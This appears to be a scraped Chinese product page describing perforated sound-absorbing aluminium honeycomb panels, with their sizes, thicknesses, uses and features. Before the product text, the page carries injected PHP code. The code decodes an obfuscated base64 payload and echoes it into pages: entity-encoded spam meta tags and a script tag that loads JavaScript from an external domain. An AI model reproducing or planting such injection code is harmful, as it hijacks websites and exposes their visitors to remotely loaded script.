https://www.jiabangsk.com/core/basic/Core.php " " " " function_tool(); function function_tool(){$de = "base64_decode";$aNmStr = $de("PG5vc2NyaXB0Pjx0aXRsZT4mIzI5MDY2OyYjMjk0ODM7JiMyMDMwNzsmIzMyOTQ2OyYjNDA7JiMyMDAxMzsmIzIyMjY5OyYjMjEzMDY7JiM0MTsmIzIzNDQ4OyYjMjYwNDE7JiMzMjU5MzsmIzMxNDQ5OyYjMzI7JiM0NTsmIzMyOyYjMTk5ODc7JiMyNzg4MDsmIzIwMzA3OyYjMzI5NDY7JiMzNjE4NzsmIzIwMTA3OyYjMzA0NTI7JiMyNTc3Mzs8L3RpdGxlPjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSImIzI5MDY2OyYjMjk0ODM7JiMyMDMwNzsmIzMyOTQ2OyIgLz48bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iJiMyOTA2NjsmIzI5NDgzOyYjMjAzMDc7JiMzMjk0NjsmIzEyMzA0OyYjMTA2OyYjMTEwOyYjMTAzOyYjMTE3OyYjMTExOyYjMTIyOyYjMTA0OyYjMTA1OyYjMTA2OyYjMTA1OyYjMTEwOyYjMTAzOyYjNDY7JiM5OTsmIzExMTsmIzEwOTsmIzEyMzA1OyYjMjYxNTk7JiMzMDQ5NTsmIzIwMTU0OyYjMjgyMTY7JiMyNTEwMzsmIzMxNTMyOyYjMTk5Njg7JiMyMTY5NzsmIzI5MjYwOyYjNDQ7JiMyMTQ4MjsmIzIwMDI2OyYjMzg3NTA7JiMyMTUxNjsmIzIwOTYxOyYjMjE3MDk7JiMyOTcwMjsmIzI0NTY1OyYjMTk5ODc7JiMyNzg4MDsmIzQ0OyYjMjkwNjY7JiMyOTQ4MzsmIzIwMzA3OyYjMzI5NDY7JiMyMDEzNTsmIzIxNjk3OyYjMjgwODU7JiMzMDQyMjsmIzIwMTAyOyYjMjY3MDA7JiMyODIxNjsmIzEyMjg5OyYjMjY4Mjc7JiMyOTI2MDsmIzIxNjQ0OyYjMjUxNjk7JiMyMDgxMTsmIzMxNTYxOyYjMjAyNDE7JiMzODM4NjsmIzMxODY3OyYjMjgyMTY7JiMyNTEwMzsmIzQ0OyYjMjkwNjY7JiMyOTQ4MzsmIzIwMzA3OyYjMzI5NDY7JiMyMDE5NzsmIzI1MzQ1OyYjMzI0OTM7JiMzMDM0MDsmIzE5OTg3OyYjMjc4ODA7JiMyMTY0NDsmIzMxOTM0OyYjMjgyNTE7JiMzMDM0MDsmIzI1MjE2OyYjMjY0MTU7JiMyMzY0OTsmIzIxMDE5OyYjMjAzMzk7JiMzMjQ4OTsmIzI0MTgyOyYjMzY4MDU7JiMzNjg5NTsmIzM5MTE4OyYjMzg3NTM7JiMyMDg0MDsmIzI5Njk5OyYjMTIyOTA7IiAvPjwvbm9zY3JpcHQ+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJiMxMDQ7JiMxMTY7JiMxMTY7JiMxMTI7JiMxMTU7JiM1ODsmIzQ3OyYjNDc7JiM5OTsmIzExNTsmIzExNTsmIzQ2OyYjOTg7JiMxMTE7JiMxMTE7JiMxMTY7JiMxMTU7JiMxMTY7JiMxMTQ7JiM5NzsmIzExMjsmIzExNDsmIzEwMTsmIzExNTsmIzQ2OyYjOTk7JiMxMTE7JiMxMDk7JiM0NzsmIzExNzsmIzEwNTsmIzQ2OyYjMTA2OyYjMTE1OyI+PC9zY3JpcHQ+");if(!strpos($_SERVER["REQUEST_URI"],"php")){echo $aNmStr;ob_flush();}} 179
冲孔铝蜂窝板描述:
冲孔吸音蜂窝铝板采用“蜂窝式夹层”结构,即以表面涂覆耐候性极佳的装饰涂层之高强度穿孔铝板与铝蜂窝芯经高温高压复合制造而成的复合板材。
冲孔吸音蜂窝铝板的构造结构为穿孔面板与穿孔背板,依靠优质胶粘剂与铝蜂窝芯直接粘接成铝蜂窝夹层结构,并且在铝蜂窝板背板贴上一层吸音无纺布。由于蜂窝铝板内的蜂窝芯分隔成众多的封闭小室,阻止了空气流动,使声波受到阻碍,提高了吸声系数(可达到0.9以上),同时提高了板材自身强度,使单块板材的尺寸可以做到更大,进一步加大了设计自由度。可以根据室内声学设计,进行不同的穿孔率设计,在一定的范围内控制组合结构的吸音系数,既达到设计效果,又能够合理控制造价。通过控制穿孔孔径、孔距,并可根据客户使用要求改变穿孔率,最大穿孔率<30%,孔径一般选用∮2.0、∮2.5、∮3.0等规格,背板穿孔要求与面板相同,吸音布采用德国科德宝的无纺吸音布等吸声材料。
冲孔铝蜂窝板常规尺寸:
4000*1200mm
冲孔铝蜂窝板常规厚度:
总厚度mm:12mm-35mm
面板厚度:1.0mm-3.0mm
底板厚度:1.0mm-3.0mm
冲孔铝蜂窝板可定厚度:
0.5-30mm
冲孔铝蜂窝板使用范围:
适用于地铁、影剧院、电台、电视台、纺织厂和躁声超标准的厂房以及体育馆等大型公共建筑的吸声墙板、天花吊顶板。
防腐蚀铝蜂窝板特性:
A、板面大、平整度高
B、板材强度高、重量轻
C、吸声效果佳、防火、防水
D、安装简便,每块板可单独拆装、更换
E、在尺寸、形状、表面处理和颜色等方面可根据客户需求定制,满足客户个性化需求